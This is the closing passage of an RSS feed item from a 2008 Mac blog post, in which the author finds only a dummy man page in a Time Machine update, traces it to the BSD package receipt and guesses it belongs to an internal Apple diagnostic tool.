<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>     a(1), b(1), c(1), a(2), b(2), a(3), b(3)</p></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"></blockquote>
<blockquote style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 40px; border-width: initial; border-color: initial; border-style: none; padding: 0px" class="webkit-indent-blockquote"><p>Darwin                           April 2, 2008                          Darwin</p></blockquote>
<p> </p></blockquote>
<p><span style="font-weight: bold" class="Apple-style-span"> </span>Only a dummy man page. And no executable to be found. Its origins though are from the BSD package (see /Library/Receipts/boms/com.apple.pkg.BSD.bom) No change has been made to this man page since 10.5 but yet it is included with this update? Odd. My guess is that there is an Apple internal tool in use but not something for the general public. I mean why would the &#8216;Rest of Us&#8217; need to diagnose Time Machine?!It&#8217; just works right? <img src='http://www.brunerd.com/blog/wp-includes/images/smilies/icon_wink.gif' alt=';)' class='wp-smiley' /> </p>
]]></content:encoded>
			<wfw:commentRss>http://www.brunerd.com/blog/2008/03/20/whats-in-the-time-machine-update/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
